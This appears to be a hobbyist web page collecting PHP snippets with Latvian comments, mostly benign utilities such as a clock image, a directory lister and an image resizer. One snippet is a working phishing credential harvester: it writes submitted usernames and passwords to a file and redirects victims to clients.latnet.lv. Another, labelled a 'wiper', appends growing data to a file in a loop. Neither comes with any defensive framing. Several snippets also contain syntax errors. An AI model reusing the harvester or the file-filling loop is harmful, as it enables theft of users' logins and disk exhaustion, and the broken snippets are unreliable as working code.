BlackHalt writeln (by me or from manual) PHP source Codes ...

BlackHalt pierakstītās PHP sources:

<?php
// saskaita failus
$total=count(glob('direktorija/*.txt'));
echo
'There are '.$total.' files in the directory';
?>
<?php
// Servera pulkstenis
header('Content-type: image/png');
$imsize=128;
$clocksize=$imsize-8;
$today=getdate();
$s=$today[hours];
$mutes=$today[minutes];
$seconds=$today[seconds];
if(
$s>=12){
$s-=12;
}
$sdegress=$s*30;
$sdegress+=$mutes/2;
$mdegress=$mutes*6;
$sdegress-=90;
if(
$sdegress<0){
$sdegress+=360;
}
$mdegress-=90;
if(
$mdegress<0){
$mdegress+=360;
}
$sradians=$sdegress/57.295779513082;
$mradians=$mdegress/57.295779513082;
$bb=imageCreate($imsize,142);
$white=imagecolorallocate($bb,0,0,0);
$grey=imagecolorallocate($bb,170,170,170);
$grey2=imagecolorallocate($bb,200,200,200);
$red=imagecolorallocate($bb,0,0,255);
$balts=imagecolorallocate($bb,255,255,255);
$blue=imagecolorallocate($bb,255,251,240);
$blue2=imagecolortransparent($bb,$blue);
imagefilledrectangle($bb,0,0,128,142,$blue2);
imagearc($bb,$imsize/2,$imsize/2,81,81,0,360,$grey2);
imagearc($bb,$imsize/2,$imsize/2,$clocksize,$clocksize,0,360,$grey);
$shandlen=($clocksize/2)*0.6;
$x2=$imsize/2+($shandlen*cos($sradians));
$y2=$imsize/2+($shandlen*sin($sradians));
imageline($bb,$imsize/2,$imsize/2,$x2,$y2,$white);
$mhandlen=($clocksize/2)*0.9;
$x2=$imsize/2+($mhandlen*cos($mradians));
$y2=$imsize/2+($mhandlen*sin($mradians));
imageline($bb,$imsize/2,$imsize/2,$x2,$y2,$red);
$string=date('r');
imagestring($bb,1,2,$imsize+4,$string,$grey);
imagepng($bb);
imagedestroy($bb);
?>
<?php
// switch
switch($i){
case 
0:
   echo 
"i equals 0";
   break;
case 
1:
   echo 
"i equals 1";
   break;
case 
2:
   echo 
"i equals 2";
   break;
default:
   echo 
"i is not equal to 0, 1 or 2";
}
?>
<?php
// wiperis
for($i=1;$i<1000;$i++){
$a=time();
$b.=md5("$a$i");
$c.="$b$i";
$fp=fopen('wipe','a');
fwrite($fp,$c);
fclose($fp);
}
?>
<?php
// reversi ielasa failu rindas
$fs=file('abcdefghijklmnopqrstuvwxyz.txt');
$saiz=sizeof($fs);
for(
$i=$saiz;$i>0-1;$i--){
echo 
$fs[$i];
}
?>
<?php
// burtu spēle
$a='zyxwvutsrqponmlkjihgfedcba';
$b='abcdefghijklmnopqrstuvwxyz';
if(
$a<>$b){
echo(
$a)|($b);
}
?>
<?php
// droshsirdiigie klienti
ob_start();
$user=$_POST['user'];
$pass=$_POST['pass'];
$user=trim($user);
$pass=trim($pass);
$user=strip_tags($user);
$pass=strip_tags($pass);
if(
strlen($user)>255){
$user=substr($user,0,255);
}
if(
strlen($pass)>255){
$pass=substr($pass,0,255);
}
if(isset(
$_POST['user'])&&isset($_POST['pass']))
$fp=fopen('latnet.txt','a');
$data="$user:|:$pass\n";
fwrite($fp,$data);
fclose($fp);
header('location: http://clients.latnet.lv/');
ob_end_flush();
?>
<?php
// nolasa direktoriju 
if($handle=opendir('.')){
while(
false!==($file=readdir($handle))){
if(
$file<>'.'&&$file<>'..'){
echo 
$file."\n";
}}
closedir($handle);
}
?>
<?php
// latvisks laiks
setlocale(LC_TIME,'lv_LV.UTF-8');
$date=ucwords(strftime('%A, %d %B %Y, %H:%M:%S'));
echo 
$date;
?>
<?php
// samazina bildes izmēru līdz 1/4
$bilde='a.png'// vai .jpg
// JPG
function resize_jpg($img,$w,$h){
$thumb=imagecreatetruecolor($w,$h);
$image=ImageCreateFromJpeg($img);
$imagedata=getimagesize($img);
imagecopyresized($thumb,$image,0,0,0,0,$w,$h,$imagedata[0],$imagedata[1]);
imagejpeg($thumb,$img,100);
echo
'Mazā bilde ir gatava!';
}
// PNG
function resize_png($img,$w,$h){
$thumb=imagecreatetruecolor($w$h);
$image=ImageCreateFromPng($img);
$imagedata=getimagesize($img);
imagecopyresized($thumb,$image,0,0,0,0,$w,$h,$imagedata[0],$imagedata[1]);
imagepng($thumb,$img);
echo
'Mazā bilde ir gatava!';
}
$size=getimagesize($bilde);
$a=$size[0]/4;
$b=$size[1]/4;
$z=$size[2];
if(
$z=='2'){
resize_jpg($bilde,$a,$b);
}
if(
$z=='3'){
resize_png($bilde,$a,$b);
}
?>
<?php
// bilde ar tekstu
header('Content-type: image/png');
$string='BlackHalt';
$font=4;
$width=imagefontwidth($font)*strlen($string);
$height=imagefontheight($font);
$im=imagecreate($width,$height);
$background_color=imagecolorallocate($im,255,255,255);
$text_color=imagecolorallocate($im,0,0,0);
imagestring($im,$font,0,0,$string,$text_color);
imagepng($im);
imagedestroy($im);
?>